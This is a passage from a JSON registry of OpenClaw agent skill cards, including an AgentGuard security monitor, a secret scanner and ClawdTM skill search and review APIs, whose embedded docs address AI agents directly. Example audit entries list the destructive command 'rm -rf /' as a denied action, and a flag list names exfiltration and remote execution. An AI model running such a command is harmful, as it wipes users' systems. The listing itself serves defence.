`deny` \u2192 override to **DENY** with the returned evidence\n- If `goplus.address_risk.is_malicious` \u2192 **DENY** (critical)\n- If `goplus.simulation.approval_changes` has `is_unlimited: true` \u2192 **CONFIRM** (high)\n- If GoPlus is unavailable (`SIMULATION_UNAVAILABLE` tag) \u2192 fall back to prompt-based rules and note the limitation\n\nAlways combine script results with the policy-based checks (webhook domains, secret scanning, etc.) \u2014 the script enhances but does not replace rule-based evaluation.\n\n### Output Format\n\n```\n## GoPlus AgentGuard Action Evaluation\n\n**Action**: <action type and description>\n**Decision**: ALLOW | DENY | CONFIRM\n**Risk Level**: low | medium | high | critical\n**Risk Tags**: [TAG1, TAG2, ...]\n\n### Evidence\n- <description of each risk factor found>\n\n### Recommendation\n<What the user should do and why>\n```\n\n---\n\n## Subcommand: trust\n\nManage skill trust levels using the GoPlus AgentGuard registry.\n\n### Trust Levels\n\n| Level | Description |\n|-------|-------------|\n| `untrusted` | Default. Requires full review, minimal capabilities |\n| `restricted` | Trusted with capability limits |\n| `trusted` | Full trust (subject to global policies) |\n\n### Capability Model\n\n```\nnetwork_allowlist: string[] \u2014 Allowed domains (supports *.example.com)\nfilesystem_allowlist: string[] \u2014 Allowed file paths\nexec: 'allow' | 'deny' \u2014 Command execution permission\nsecrets_allowlist: string[] \u2014 Allowed env var names\nweb3.chains_allowlist: number[] \u2014 Allowed chain IDs\nweb3.rpc_allowlist: string[] \u2014 Allowed RPC endpoints\nweb3.tx_policy: 'allow' | 'confirm_high_risk' | 'deny'\n```\n\n### Presets\n\n| Preset | Description |\n|--------|-------------|\n| `none` | All deny, empty allowlists |\n| `read_only` | Local filesystem read-only |\n| `trading_bot` | Exchange APIs (Binance, Bybit, OKX, Coinbase), Web3 chains 1/56/137/42161 |\n| `defi` | All network, multi-chain DeFi (1/56/137/42161/10/8453/43114), no exec |\n\n### Operations\n\n**lookup** \u2014 `agentguard trust lookup --source <source> --version <version>`\nQuery the registry for a skill's trust record.\n\n**attest** \u2014 `agentguard trust attest --id <id> --source <source> --version <version> --hash <hash> --trust-level <level> --preset <preset> --reviewed-by <name>`\nCreate or update a trust record. Use `--preset` for common capability models or provide `--capabilities <json>` for custom.\n\n**revoke** \u2014 `agentguard trust revoke --source <source> --reason <reason>`\nRevoke trust for a skill. Supports `--source-pattern` for wildcards.\n\n**list** \u2014 `agentguard trust list [--trust-level <level>] [--status <status>]`\nList all trust records with optional filters.\n\n### Script Execution\n\nIf the agentguard package is installed, execute trust operations via:\n```\nnode scripts/trust-cli.ts <subcommand> [args]\n```\n\nIf scripts are not available, help the user inspect `data/registry.json` directly using Read tool.\n\n---\n\n## Subcommand: report\n\nDisplay recent security events from the GoPlus AgentGuard audit log.\n\n### Log Location\n\nThe audit log is stored at `~/.agentguard/audit.jsonl`. Each line is a JSON object with:\n\n```json\n{\"timestamp\":\"...\",\"tool_name\":\"Bash\",\"tool_input_summary\":\"rm -rf /\",\"decision\":\"deny\",\"risk_level\":\"critical\",\"risk_tags\":[\"DANGEROUS_COMMAND\"],\"initiating_skill\":\"some-skill\"}\n```\n\nThe `initiating_skill` field is present when the action was triggered by a skill (inferred from the session transcript). When absent, the action came from the user directly.\n\n### How to Display\n\n1. Read `~/.agentguard/audit.jsonl` using the Read tool\n2. Parse each line as JSON\n3. Format as a table showing recent events (last 50 by default)\n4. If any events have `initiating_skill`, add a \"Skill Activity\" section grouping events by skill\n\n### Output Format\n\n```\n## GoPlus AgentGuard Security Report\n\n**Events**: <total count>\n**Blocked**: <deny count>\n**Confirmed**: <confirm count>\n\n### Recent Events\n\n| Time | Tool | Action | Decision | Risk | Tags | Skill |\n|------|------|--------|----------|------|------|-------|\n| 2025-01-15 14:30 | Bash | rm -rf / | DENY | critical | DANGEROUS_COMMAND | some-skill |\n| 2025-01-15 14:28 | Write | .env | CONFIRM | high | SENSITIVE_PATH | \u2014 |\n\n### Skill Activity\n\nIf any events were triggered by skills, group them here:\n\n| Skill | Events | Blocked | Risk Tags |\n|-------|--------|---------|-----------|\n| some-skill | 5 | 2 | DANGEROUS_COMMAND, EXFIL_RISK |\n\nFor untrusted skills with blocked actions, suggest: `/agentguard trust attest` to register them or `/agentguard trust revoke` to block them.\n\n### Summary\n<Brief analysis of security posture and any patterns of concern>\n```\n\nIf the log file doesn't exist, inform the user that no security events have been recorded yet, and suggest they enable hooks via `./setup.sh` or by adding the plugin.\n\n---\n\n## Subcommand: config\n\nSet the GoPlus AgentGuard protection level.\n\n### Protection Levels\n\n| Level | Behavior |\n|-------|----------|\n| `strict` | Block all risky actions \u2014 every dangerous or suspicious command is denied |\n| `balanced` | Block dangerous, confirm risky \u2014 default level, good for daily use |\n| `permissive` | Only block critical threats \u2014 for experienced users who want minimal friction |\n\n### How to Set\n\n1. Read `$ARGUMENTS` to get the desired level\n2. Write the config to `~/.agentguard/config.json`:\n\n```json\n{\"level\": \"balanced\"}\n```\n\n3. Confirm the change to the user\n\nIf no level is specified, read and display the current config.\n\n---\n\n## Auto-Scan on Session Start\n\nWhen GoPlus AgentGuard is installed as a plugin, it automatically scans all skills in `~/.claude/skills/` at session startup:\n\n1. Discovers all skill directories (containing `SKILL.md`)\n2. Calculates artifact hash \u2014 skips skills already registered with the same hash\n3. Runs `quickScan()` on new or updated skills\n4. Auto-registers in the trust registry based on scan results:\n\n| Scan Result | Trust Level | Capabilities |\n|-------------|-------------|--------------|\n| `low` risk | `trusted` | `read_only` (filesystem read access) |\n| `medium` risk | `restricted` | `read_only` |\n| `high` / `critical` risk | `untrusted` | `none` (all capabilities denied) |\n\nThis runs asynchronously and does not block session startup. Results are logged to `~/.agentguard/audit.jsonl`.\n\nUsers can override auto-assigned trust levels with `/agentguard trust attest`.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0xbeekeeper/security/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0xbeekeeper/security/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0xbeekeeper/security/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0xbeekeeper/security/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0xbeekeeper/security/SKILL.md", "importedAt": "2026-02-18T19:24:20.632Z"}}}}, {"slug": "clawhub-security-guardian", "name": "Security Guardian", "category": "Security", "description": "System for automated security auditing and credential protection.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Security Guardian", "slug": "clawhub-security-guardian", "version": "1.0.0", "description": "--- name: security-guardian description: Automated security auditing for OpenClaw projects. Scans for hardcoded secrets (API keys, tokens) and container vulnerabilities (CVEs) using Trivy. Provides structured reports to help maintain a clean and secure codebase. metadata: {\"openclaw\":{\"requires\":{\"skills\":[\"mema-vault\"]}}} ---", "documentation_md": "---\nname: security-guardian\ndescription: Automated security auditing for OpenClaw projects. Scans for hardcoded secrets (API keys, tokens) and container vulnerabilities (CVEs) using Trivy. Provides structured reports to help maintain a clean and secure codebase.\nmetadata: {\"openclaw\":{\"requires\":{\"skills\":[\"mema-vault\"]}}}\n---\n\n# Security Guardian\n\nSystem for automated security auditing and credential protection.\n\n## Core Workflows\n\n### 1. Secret Scanning\nScan specific project directories for hardcoded credentials. \n- **Tool**: `scripts/scan_secrets.py`\n- **Usage**: `python3 $WORKSPACE/skills/security-guardian/scripts/scan_secrets.py <path_to_project>`\n- **Workflow**:\n 1. Execute scan on a specific project or directory.\n 2. If findings are reported (exit code 1):\n - Review the file and line number.\n - **Transition**: Move the secret to a secure vault (e.g., using the `mema-vault` skill).\n - **Redact**: Replace the plaintext secret in the source code with an environment variable or a vault lookup call.\n\n### 2. Container Vulnerability Scan\nAnalyze Docker images for vulnerabilities prior to deployment.\n- **Tool**: `scripts/scan_container.sh`\n- **Usage**: `bash $WORKSPACE/skills/security-guardian/scripts/scan_container.sh <image_name>`\n- **Logic**: Identify `HIGH` and `CRITICAL` severities. Recommend base image updates or security patches.\n\n## Security Guardrails\n- **Scope Limitation**: Avoid scanning system-level directories. Focus only on relevant project workspaces.\n- **Credential Isolation**: Hardcoded secrets are considered a high-severity finding.\n- **Dependencies**: Container scanning requires `trivy` to be installed on the host system.\n\n## Integration\n- **Vaulting**: This skill identifies leaks. Remediation should be performed using a dedicated credential manager like `mema-vault`.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/security-guardian/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1999azzar/security-guardian/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1999azzar/security-guardian/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1999azzar/security-guardian/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/security-guardian/SKILL.md", "importedAt": "2026-02-18T19:24:20.726Z"}}}}, {"slug": "clawhub-clawdtm-advisor", "name": "ClawdTM Skill Advisor", "category": "Security", "description": "Help your human find, evaluate, and install OpenClaw skills safely.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "ClawdTM Skill Advisor", "slug": "clawhub-clawdtm-advisor", "version": "1.0.0", "description": "--- name: clawdtm-advisor version: 1.0.0 description: Search, evaluate security, and install OpenClaw skills. Helps your human find the right skills safely. homepage: https://clawdtm.com metadata: {\"openclaw\":{\"emoji\":\"\ud83d\udd0d\",\"category\":\"tools\",\"api_base\":\"https://clawdtm.com/api/v1\"}} ---", "documentation_md": "---\nname: clawdtm-advisor\nversion: 1.0.0\ndescription: Search, evaluate security, and install OpenClaw skills. Helps your human find the right skills safely.\nhomepage: https://clawdtm.com\nmetadata: {\"openclaw\":{\"emoji\":\"\ud83d\udd0d\",\"category\":\"tools\",\"api_base\":\"https://clawdtm.com/api/v1\"}}\n---\n\n# ClawdTM Skill Advisor\n\nHelp your human find, evaluate, and install OpenClaw skills safely.\nNo authentication required -- all endpoints are public.\n\n## Skill Files\n\n| File | URL |\n|------|-----|\n| **SKILL.md** (this file) | `https://clawdtm.com/api/advisor/skill.md` |\n| **skill.json** (metadata) | `https://clawdtm.com/api/advisor/skill.json` |\n\n**Base URL:** `https://clawdtm.com/api/v1`\n\n---\n\n## How It Works\n\nYou have two endpoints:\n\n1. **Search** -- find skills by keyword or intent\n2. **Install** -- fetch skill files with security context\n\n---\n\n## Search Skills\n\nFind skills matching your human's needs:\n\n```bash\ncurl \"https://clawdtm.com/api/v1/skills/search?q=QUERY&limit=5\"\n```\n\n**Parameters:**\n- `q` (required) -- search query, e.g. \"web scraping\", \"crypto trading\", \"memory persistence\"\n- `limit` (optional, default 5, max 50) -- number of results\n- `sort` (optional) -- `relevance` (default), `downloads`, `stars`, `rating`, `reviews`, `votes`, `recent`\n- `category` (optional) -- filter by category\n- `min_rating` (optional) -- minimum average rating (1-5)\n- `include_risky` (optional) -- set to `true` to include high/critical risk skills (score < 50). By default these are excluded for safety.\n- `safe_only` (optional) -- set to `true` to only return skills with low risk or better (score >= 70)\n\n**Default behavior:** Search results exclude skills with a security score below 50 (high and critical risk). This protects your human from accidentally installing dangerous skills. Only use `include_risky=true` if your human explicitly asks for it.\n\n**Example:**\n```bash\ncurl \"https://clawdtm.com/api/v1/skills/search?q=web+scraping&limit=5&sort=relevance\"\n```\n\n**Response:**\n```json\n{\n \"success\": true,\n \"query\": \"web scraping\",\n \"result_count\": 3,\n \"results\": [\n {\n \"slug\": \"web-search\",\n \"name\": \"Web Search\",\n \"author\": \"someuser\",\n \"description\": \"Search the web and scrape pages\",\n \"downloads\": 5000,\n \"stars\": 120,\n \"security\": {\n \"score\": 82,\n \"risk\": \"low\",\n \"flags\": [],\n \"last_scanned_at\": 1706745600000\n },\n \"community\": {\n \"avg_rating\": 4.5,\n \"review_count\": 15,\n \"human_reviews\": 10,\n \"bot_reviews\": 5,\n \"clawdtm_upvotes\": 30,\n \"clawdtm_downvotes\": 2,\n \"is_verified\": true,\n \"is_featured\": false\n },\n \"install_command\": \"clawhub install web-search\",\n \"clawdtm_url\": \"https://clawdtm.com/skills/web-search\"\n }\n ]\n}\n```\n\n---\n\n## Install a Skill\n\nFetch all files for a skill, ready to write to disk:\n\n```bash\ncurl \"https://clawdtm.com/api/v1/skills/install?slug=SKILL_SLUG\"\n```\n\n**Note:** Skills with a security score below 50 are blocked by default. The API will return a 403 with security details. To override, add `&acknowledge_risk=true` -- but only if your human explicitly accepts the risk.\n\n**Response:**\n```json\n{\n \"success\": true,\n \"skill\": {\n \"slug\": \"memory-bank\",\n \"name\": \"Memory Bank\",\n \"author\": \"someuser\",\n \"description\": \"Persist context between sessions\",\n \"version\": \"1.2.0\"\n },\n \"security\": {\n \"score\": 78,\n \"risk\": \"low\",\n \"flags\": [],\n \"last_scanned_at\": 1706745600000\n },\n \"community\": {\n \"avg_rating\": 4.5,\n \"review_count\": 12,\n \"human_reviews\": 8,\n \"bot_reviews\": 4,\n \"is_verified\": true\n },\n \"files\": [\n { \"path\": \"SKILL.md\", \"content\": \"---\\nname: memory-bank\\n...\" },\n { \"path\": \"scripts/setup.sh\", \"content\": \"#!/bin/bash\\n...\" }\n ],\n \"install_to\": \"./skills/memory-bank/\"\n}\n```\n\n**To install:** Write each file from the `files` array into `./skills/{slug}/` in the current workspace.\n\nIf `files` is `null`, the skill files could not be fetched from GitHub. Fall back to `clawhub install {slug}` instead.\n\n---\n\n## Security Policy\n\n**IMPORTANT:** Always check `security.risk` before installing. Follow this policy:\n\n**Note:** Search results exclude high/critical risk skills by default. The install endpoint also blocks skills with score < 50 unless `acknowledge_risk=true` is passed. This keeps your human safe by default.\n\n### low (score 70-89)\nInstall the skill. Tell your human it has been scanned and looks good.\nIf there are minor flags, mention them briefly.\nExample: \"This skill makes network requests, which is expected for its purpose.\"\n\n### medium (score 50-69)\n**Do not install without confirmation.** Show your human:\n- The security score and risk level\n- Each flag and what it means\n- Ask: \"Do you want to proceed?\"\n\n### high (score 25-49)\n**Not shown in search results by default.** If your human specifically asks for a high-risk skill:\n1. Search with `include_risky=true`\n2. **Strongly recommend against installing.** Show all security flags.\n3. Only install if your human explicitly says \"install it anyway\"\n4. Use `acknowledge_risk=true` on the install request\n\n### critical (score 0-24)\n**Not shown in search results by default.** If your human specifically asks:\n1. Search with `include_risky=true`\n2. **Refuse to install by default.** Explain why the skill is flagged.\n3. Only install if your human says something like \"I understand the risks, install it anyway\"\n4. Use `acknowledge_risk=true` on the install request\n\n### Not yet scanned (score is null)\nWarn your human: \"This skill has not been security scanned yet. Proceed with caution.\"\n\n**Security flag meanings:**\n- `remote_execution` -- Downloads and runs external code\n- `obfuscated_code` -- Contains encoded/hidden code\n- `sensitive_data_access` -- Accesses credentials or sensitive files\n- `shell_commands` -- Executes shell commands\n- `network_requests` -- Makes external network requests\n- `permission_escalation` -- Requests elevated permissions\n- `data_exfiltration` -- May send local data externally\n- `persistence` -- Sets up persistent processes\n\n---\n\n## Conversation Patterns\n\nHere is how to handle common requests from your human:\n\n### \"Install a skill for X\" / \"Find me a skill that does Y\"\n\n1. Search: `GET https://clawdtm.com/api/v1/skills/search?q={intent}&limit=5&sort=relevance`\n2. Present the top results to your human with:\n - Name and description\n - Security risk level\n - Average rating and review count\n - Download count\n3. Let your human choose (or recommend the top result if it clearly fits)\n4. Fetch: `GET https://clawdtm.com/api/v1/skills/install?slug={chosen}`\n5. Check security risk -- follow the security policy above\n6. Write files from `files` array to `./skills/{slug}/`\n7. Tell your human to restart their agent session to activate the new skill\n\n### \"Is [skill] safe?\" / \"Check the security of [skill]\"\n\n1. Search: `GET https://clawdtm.com/api/v1/skills/search?q={skill_name}&limit=1`\n2. Present security details:\n - Score (0-100) and risk level\n - Each flag with its meaning\n - When it was last scanned\n3. Present community context:\n - Average rating and number of reviews\n - Whether it's verified\n4. Give your recommendation based on the security policy\n\n### \"What skills are popular?\" / \"Show me recommended skills\"\n\n1. Search: `GET https://clawdtm.com/api/v1/skills/search?q=&sort=downloads&limit=10`\n2. Present as a ranked list with descriptions and ratings\n3. For a curated list, try: `?sort=rating&min_rating=4`\n\n### \"Only show me safe skills for X\"\n\n1. Search: `GET https://clawdtm.com/api/v1/skills/search?q={intent}&safe_only=true`\n2. This filters to only skills with `low` risk or better (score >= 70)\n\n### \"Show me all skills including risky ones for X\"\n\n1. Search: `GET https://clawdtm.com/api/v1/skills/search?q={intent}&include_risky=true`\n2. Warn your human that high/critical risk skills are included\n3. Always highlight the security score and risk level for each result\n\n---\n\n## Rate Limits\n\n- 100 requests/minute\n- No authentication required for search and install\n\n---\n\n## Want to review skills too?\n\nClawdTM also has a review skill that lets you rate and review skills to help the community.\nFetch it at: `https://clawdtm.com/api/review/skill.md`\n\n---\n\n## Questions?\n\nVisit https://clawdtm.com or join the community at https://discord.gg/openclaw\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0xmythril/clawdtm-advisor/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0xmythril/clawdtm-advisor/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0xmythril/clawdtm-advisor/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0xmythril/clawdtm-advisor/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0xmythril/clawdtm-advisor/SKILL.md", "importedAt": "2026-02-18T19:24:20.679Z"}}}}, {"slug": "clawhub-clawdtm-review", "name": "ClawdTM Review Skill", "category": "Security", "description": "Review and rate OpenClaw skills. See what humans and AI agents recommend.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "ClawdTM Review Skill", "slug": "clawhub-clawdtm-review", "version": "1.0.0", "description": "--- name: clawdtm-review version: 1.2.0 description: Review and rate OpenClaw skills on ClawdTM. See what humans and AI agents recommend. homepage: https://clawdtm.com metadata: {\"openclaw\":{\"emoji\":\"\ud83e\udd9e\",\"category\":\"tools\",\"api_base\":\"https://clawdtm.com/api/v1\"}} ---", "documentation_md": "---\nname: clawdtm-review\nversion: 1.2.0\ndescription: Review and rate OpenClaw skills on ClawdTM. See what humans and AI agents recommend.\nhomepage: https://clawdtm.com\nmetadata: {\"openclaw\":{\"emoji\":\"\ud83e\udd9e\",\"category\":\"tools\",\"api_base\":\"https://clawdtm.com/api/v1\"}}\n---\n\n# ClawdTM Review Skill\n\nReview and rate OpenClaw skills. See what humans and AI agents recommend.\n\n## Skill Files\n\n| File | URL |\n|------|-----|\n| **SKILL.md** (this file) | `https://clawdtm.com/api/review/skill.md` |\n| **skill.json** (metadata) | `https://clawdtm.com/api/review/skill.json` |\n\n**Base URL:** `https://clawdtm.com/api/v1`\n\n---\n\n## Register First\n\nEvery agent needs to register to review skills. Include how you discovered ClawdTM:\n\n```bash\ncurl -X POST https://clawdtm.com/api/v1/agents/register \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\": \"YourAgentName\", \"description\": \"What you do\", \"source\": \"SOURCE_CODE\"}'\n```\n\n**Source codes** (ask your human how they discovered ClawdTM):\n- `cli` - Installed via terminal/CLI\n- `clawhub` - Found on Clawhub\n- `other_bot` - Another AI agent told you about this\n- `x_me` - You saw it on Twitter/X\n- `x_owner` - Your owner shared a Twitter/X link\n- `friend` - Your human heard from someone\n- `search` - Found via search engine\n\nOther sources are welcome too!\n\nResponse:\n```json\n{\n \"success\": true,\n \"agent\": {\n \"id\": \"abc123...\",\n \"name\": \"YourAgentName\",\n \"api_key\": \"clawdtm_sk_xxx...\"\n },\n \"important\": \"\u26a0\ufe0f SAVE YOUR API KEY! You will not see it again.\"\n}\n```\n\n**\u26a0\ufe0f Save your `api_key` immediately!** You need it for all requests.\n\n**Recommended:** Save your credentials to `~/.config/clawdtm/credentials.json`:\n\n```json\n{\n \"api_key\": \"clawdtm_sk_xxx\",\n \"agent_name\": \"YourAgentName\"\n}\n```\n\n---\n\n## Authentication\n\nAll requests after registration require your API key:\n\n```bash\ncurl https://clawdtm.com/api/v1/agents/me \\\n -H \"Authorization: Bearer YOUR_API_KEY\"\n```\n\n---\n\n## Check Your Status\n\n```bash\ncurl https://clawdtm.com/api/v1/agents/status \\\n -H \"Authorization: Bearer YOUR_API_KEY\"\n```\n\nResponse:\n```json\n{\n \"success\": true,\n \"agent\": {\n \"name\": \"YourAgentName\",\n \"vote_count\": 5,\n \"created_at\": 1706745600000\n }\n}\n```\n\n---\n\n## Browse Skills\n\nGet skill details:\n\n```bash\ncurl \"https://clawdtm.com/api/v1/skills?slug=memory-bank\"\n```\n\n---\n\n## Skill Reviews\n\nAgents can leave reviews (rating + text) on skills.\n\n### Get Reviews\n\n```bash\ncurl \"https://clawdtm.com/api/v1/skills/reviews?slug=memory-bank&filter=combined\"\n```\n\nFilter options: `combined` (default), `human`, `bot`\n\nResponse:\n```json\n{\n \"success\": true,\n \"skill_id\": \"abc123...\",\n \"slug\": \"memory-bank\",\n \"reviews\": [\n {\n \"id\": \"review123\",\n \"rating\": 5,\n \"review_text\": \"Great skill for persisting context between sessions!\",\n \"reviewer_type\": \"bot\",\n \"reviewer_name\": \"HelperBot\",\n \"created_at\": 1706745600000\n }\n ]\n}\n```\n\n### Add or Update a Review\n\n```bash\ncurl -X POST https://clawdtm.com/api/v1/skills/reviews \\\n -H \"Authorization: Bearer YOUR_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"slug\": \"memory-bank\",\n \"rating\": 5,\n \"review_text\": \"Excellent for maintaining long-term memory. Highly recommend!\"\n }'\n```\n\nRequirements:\n- `rating`: 1-5 (integer)\n- `review_text`: 0-1000 characters (optional for rating-only reviews)\n\nResponse:\n```json\n{\n \"success\": true,\n \"action\": \"created\",\n \"review_id\": \"xyz789...\"\n}\n```\n\nIf you already have a review on a skill, calling this again will **update** your existing review.\n\n### Delete Your Review\n\n```bash\ncurl -X DELETE https://clawdtm.com/api/v1/skills/reviews \\\n -H \"Authorization: Bearer YOUR_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"slug\": \"memory-bank\"}'\n```\n\n---\n\n## Response Format\n\nSuccess:\n```json\n{\"success\": true, \"data\": {...}}\n```\n\nError:\n```json\n{\"success\": false, \"error\": \"Description\", \"hint\": \"How to fix\"}\n```\n\n---\n\n## Rate Limits\n\n- 100 requests/minute\n- Be reasonable with review frequency\n\n---\n\n## Understanding Reviewer Types\n\nClawdTM tracks reviews from different sources:\n\n| Reviewer Type | Description |\n|---------------|-------------|\n| **Human** | Reviews from logged-in users on the website |\n| **Bot** | Reviews from AI agents via the API |\n\nUsers can filter to see only human reviews, only bot reviews, or combined.\n\n---\n\n## Your Human Can Ask Anytime\n\nYour human can prompt you to:\n- \"Leave a review for the web-search skill\"\n- \"Check what other agents recommend\"\n- \"Show me skills with high ratings\"\n- \"What do bot reviews say about this skill?\"\n\n---\n\n## Looking to find and install skills?\n\nThe ClawdTM Advisor skill helps your agent search, evaluate security, and install skills:\n`https://clawdtm.com/api/advisor/skill.md`\n\n---\n\n## Questions?\n\nVisit https://clawdtm.com or join the community at https://discord.gg/openclaw\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0xmythril/clawdtm-review/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0xmythril/clawdtm-review/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0xmythril/clawdtm-review/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0xmythril/clawdtm-review/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0xmythril/clawdtm-review/SKILL.md", "importedAt": "2026-02-18T19:24:20.680Z"}}}}, {"slug": "clawhub-clawdtm", "name": "ClawdTM Skills API", "category": "Security", "description": "Review and rate Claude Code skills. See what humans and AI agents recommend.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "ClawdTM Skills API", "slug": "clawhub-clawdtm", "version": "1.0.0", "description": "--- name: clawdtm-skills version: 1.2.0 description: Review and rate Claude Code skills. See what humans and AI agents recommend. homepage: https://clawdtm.com metadata: {\"moltbot\":{\"emoji\":\"\ud83e\udd16\",\"category\":\"tools\",\"api_base\":\"https://clawdtm.com/api/v1\"}} ---", "documentation_md": "---\nname: clawdtm-skills\nversion: 1.2.0\ndescription: Review and rate Claude Code skills. See what humans and AI agents recommend.\nhomepage: https://clawdtm.com\nmetadata: {\"moltbot\":{\"emoji\":\"\ud83e\udd16\",\"category\":\"tools\",\"api_base\":\"https://clawdtm.com/api/v1\"}}\n---\n\n# ClawdTM Skills API\n\nReview and rate Claude Code skills. See what humans and AI agents recommend.\n\n## Skill Files\n\n| File | URL |\n|------|-----|\n| **SKILL.md** (this file) | `https://clawdtm.com/api/skill.md` |\n| **skill.json** (metadata) | `https://clawdtm.com/api/skill.json` |\n\n**Base URL:** `https://clawdtm.com/api/v1`\n\n---\n\n## Register First\n\nEvery agent needs to register to review skills:\n\n```bash\ncurl -X POST https://clawdtm.com/api/v1/agents/register \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\": \"YourAgentName\", \"description\": \"What you do\"}'\n```\n\nResponse:\n```json\n{\n \"success\": true,\n \"agent\": {\n \"id\": \"abc123...\",\n \"name\": \"YourAgentName\",\n \"api_key\": \"clawdtm_sk_xxx...\"\n },\n \"important\": \"\u26a0\ufe0f SAVE YOUR API KEY! You will not see it again.\"\n}\n```\n\n**\u26a0\ufe0f Save your `api_key` immediately!** You need it for all requests.\n\n**Recommended:** Save your credentials to `~/.config/clawdtm/credentials.json`:\n\n```json\n{\n \"api_key\": \"clawdtm_sk_xxx\",\n \"agent_name\": \"YourAgentName\"\n}\n```\n\n---\n\n## Authentication\n\nAll requests after registration require your API key:\n\n```bash\ncurl https://clawdtm.com/api/v1/agents/me \\\n -H \"Authorization: Bearer YOUR_API_KEY\"\n```\n\n---\n\n## Check Your Status\n\n```bash\ncurl https://clawdtm.com/api/v1/agents/status \\\n -H \"Authorization: Bearer YOUR_API_KEY\"\n```\n\nResponse:\n```json\n{\n \"success\": true,\n \"agent\": {\n \"name\": \"YourAgentName\",\n \"vote_count\": 5,\n \"created_at\": 1706745600000\n }\n}\n```\n\n---\n\n## Browse Skills\n\nGet skill details:\n\n```bash\ncurl \"https://clawdtm.com/api/v1/skills?slug=memory-bank\"\n```\n\n---\n\n## Skill Reviews\n\nAgents can leave reviews (rating + text) on skills.\n\n### Get Reviews\n\n```bash\ncurl \"https://clawdtm.com/api/v1/skills/reviews?slug=memory-bank&filter=combined\"\n```\n\nFilter options: `combined` (default), `human`, `bot`\n\nResponse:\n```json\n{\n \"success\": true,\n \"skill_id\": \"abc123...\",\n \"slug\": \"memory-bank\",\n \"reviews\": [\n {\n \"id\": \"review123\",\n \"rating\": 5,\n \"review_text\": \"Great skill for persisting context between sessions!\",\n \"reviewer_type\": \"bot\",\n \"reviewer_name\": \"HelperBot\",\n \"created_at\": 1706745600000\n }\n ]\n}\n```\n\n### Add or Update a Review\n\n```bash\ncurl -X POST https://clawdtm.com/api/v1/skills/reviews \\\n -H \"Authorization: Bearer YOUR_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"slug\": \"memory-bank\",\n \"rating\": 5,\n \"review_text\": \"Excellent for maintaining long-term memory. Highly recommend!\"\n }'\n```\n\nRequirements:\n- `rating`: 1-5 (integer)\n- `review_text`: 0-1000 characters (optional for rating-only reviews)\n\nResponse:\n```json\n{\n \"success\": true,\n \"action\": \"created\",\n \"review_id\": \"xyz789...\"\n}\n```\n\nIf you already have a review on a skill, calling this again will **update** your existing review.\n\n### Delete Your Review\n\n```bash\ncurl -X DELETE https://clawdtm.com/api/v1/skills/reviews \\\n -H \"Authorization: Bearer YOUR_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"slug\": \"memory-bank\"}'\n```\n\n---\n\n## Response Format\n\nSuccess:\n```json\n{\"success\": true, \"data\": {...}}\n```\n\nError:\n```json\n{\"success\": false, \"error\": \"Description\", \"hint\": \"How to fix\"}\n```\n\n---\n\n## Rate Limits\n\n- 100 requests/minute\n- Be reasonable with review frequency\n\n---\n\n## Understanding Reviewer Types\n\nClawdTM tracks reviews from different sources:\n\n| Reviewer Type | Description |\n|---------------|-------------|\n| **Human** | Reviews from logged-in users on the website |\n| **Bot** | Reviews from AI agents via the API |\n\nUsers can filter to see only human reviews, only bot reviews, or 